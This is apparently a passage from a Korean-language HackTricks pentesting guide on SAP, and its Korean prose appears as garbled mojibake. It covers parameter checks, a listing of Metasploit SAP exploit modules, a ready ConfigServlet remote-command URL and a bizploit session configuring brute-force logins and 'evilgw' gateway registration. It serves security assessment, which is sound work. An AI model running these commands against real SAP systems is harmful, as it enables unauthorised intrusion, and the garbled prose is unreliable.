ucon/rfc/active0UCON(ํ†ตํ•ฉ ์—ฐ๊ฒฐ) RFC๋ฅผ ํ™œ์„ฑํ™”ํ•˜๊ฑฐ๋‚˜ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.

๋งค๊ฐœ๋ณ€์ˆ˜ ํ™•์ธ์„ ์œ„ํ•œ ์Šคํฌ๋ฆฝํŠธ

๋งค๊ฐœ๋ณ€์ˆ˜ ์ˆ˜๊ฐ€ ๋งŽ๊ธฐ ๋•Œ๋ฌธ์— ๋ชจ๋“  ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ .XML ํŒŒ์ผ๋กœ ๋‚ด๋ณด๋‚ด๊ณ  ์Šคํฌ๋ฆฝํŠธ SAPPV (SAP Parameter Validator)๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ์Šคํฌ๋ฆฝํŠธ๋Š” ์œ„์—์„œ ์–ธ๊ธ‰ํ•œ ๋ชจ๋“  ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํ™•์ธํ•˜๊ณ  ์ ์ ˆํ•œ ๊ตฌ๋ถ„์œผ๋กœ ๊ฐ’์„ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค.

./SAPPV.sh EXPORT.XML

Parameter: auth/no_check_in_some_cases
User-Defined Value: No data
System Default Value: Y
Comment: Activation of the Profile Generator
Vulnerability: "SAP Parameter Misconfiguration: auth/no_check_in_some_cases"

Parameter: auth/object_disabling_active
User-Defined Value: N
System Default Value: N
Comment: Value 'N' prohibits disabling of authorization objects
Vulnerability: "SAP Parameter Misconfiguration: auth/object_disabling_active"

Parameter: auth/rfc_authority_check
User-Defined Value: 6
System Default Value: 6
Comment: Execution option for the RFC authority check
Vulnerability: "SAP Parameter Misconfiguration: auth/rfc_authority_check"

Parameter: bdc/bdel_auth_check
User-Defined Value: No data
System Default Value: FALSE
Comment: batch-input: check authorisation for activity DELE when delete TA
Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check"

[...]

๊ณต๊ฒฉ!

  • Windows 2000๊ณผ ๊ฐ™์€ ์˜ค๋ž˜๋œ ์„œ๋ฒ„๋‚˜ ๊ธฐ์ˆ ์—์„œ ์‹คํ–‰๋˜๋Š”์ง€ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค.
  • ๊ฐ€๋Šฅํ•œ ์ต์Šคํ”Œ๋กœ์ž‡/๊ณต๊ฒฉ์„ ๊ณ„ํšํ•˜์‹ญ์‹œ์˜ค. SAP ๋ฐœ๊ฒฌ์„ ์œ„ํ•œ ๋งŽ์€ Metasploit ๋ชจ๋“ˆ(๋ณด์กฐ ๋ชจ๋“ˆ)๊ณผ ์ต์Šคํ”Œ๋กœ์ž‡์ด ์žˆ์Šต๋‹ˆ๋‹ค:
msf > search sap
Matching Modules
================
Name                                                                     Disclosure Date  Rank       Description
----                                                                     ---------------  ----       -----------
auxiliary/admin/maxdb/maxdb_cons_exec                                    2008-01-09       normal     SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth                        2012-11-01       normal     SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec                                                   normal     SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file                                            normal     SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi                                  2008-11-13       normal     Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi                              2011-04-12       normal     Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute                                     normal     SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web                                 normal     SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum                                      normal     SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum                                   normal     SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt                                    normal     SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem                                      normal     SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info                                                 normal     SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan                                                     normal     SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog                                                normal     SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login                                            normal     SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers                                           normal     SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints                                        normal     SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv                                                 normal     SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles                                            normal     SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist                                         normal     SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter                                    normal     SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties                                     normal     SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles                                           normal     SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile                                           normal     SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version                                                normal     SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request                                             normal     SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner                                              normal     SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery                                               normal     SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay                                                       normal     SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1                                          normal     SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login                                            normal     SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec                   normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec                               normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing                              normal     SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence                            normal     SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping                                                   normal     SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table                                             normal     SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir                                           normal     SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface                                normal     SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec                                  normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec                                      normal     SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info                                            normal     SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure                                       normal     SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login                                             normal     SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload                            2011-03-08       excellent  SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec                     2013-03-26       great      SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec                         2012-05-08       great      SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download                        2009-04-15       excellent  EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml                    2007-07-05       normal     EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile                     2009-03-31       normal     SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth                       2012-11-01       great      SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec                           2012-08-14       average    SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools                                      2007-07-05       great      SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd                                               2008-02-04       good       SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license                                    2009-08-01       great      SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher                            2012-05-08       normal     SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
  • ์ž˜ ์•Œ๋ ค์ง„ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‚ฌ์šฉํ•ด ๋ณด์„ธ์š” (Exploit-DB๋ฅผ ํ™•์ธํ•˜์„ธ์š”) ๋˜๋Š” SAP ํฌํ„ธ์—์„œ ์˜ค๋ž˜๋œ ํ•˜์ง€๋งŒ ์—ฌ์ „ํžˆ ์œ ์šฉํ•œ โ€œSAP ConfigServlet ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰โ€๊ณผ ๊ฐ™์€ ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”:
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a

SAP Config Servlet RCE

  • Discovery ๋‹จ๊ณ„์—์„œ bizploit ์Šคํฌ๋ฆฝํŠธ์˜ start ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์ „์—, ์ทจ์•ฝ์  ํ‰๊ฐ€๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start

ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•œ ๊ธฐํƒ€ ์œ ์šฉํ•œ ๋„๊ตฌ

  • PowerSAP - SAP ๋ณด์•ˆ์„ ํ‰๊ฐ€ํ•˜๊ธฐ ์œ„ํ•œ Powershell ๋„๊ตฌ
  • Burp Suite - ๋””๋ ‰ํ† ๋ฆฌ ํผ์ง• ๋ฐ ์›น ๋ณด์•ˆ ํ‰๊ฐ€์— ํ•„์ˆ˜
  • pysap - SAP ๋„คํŠธ์›Œํฌ ํ”„๋กœํ† ์ฝœ ํŒจํ‚ท์„ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•œ Python ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ
  • https://github.com/gelim/nmap-erpscan - nmap์ด SAP/ERP๋ฅผ ๊ฐ์ง€ํ•˜๋„๋ก ๋•๊ธฐ

์ฐธ๊ณ ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ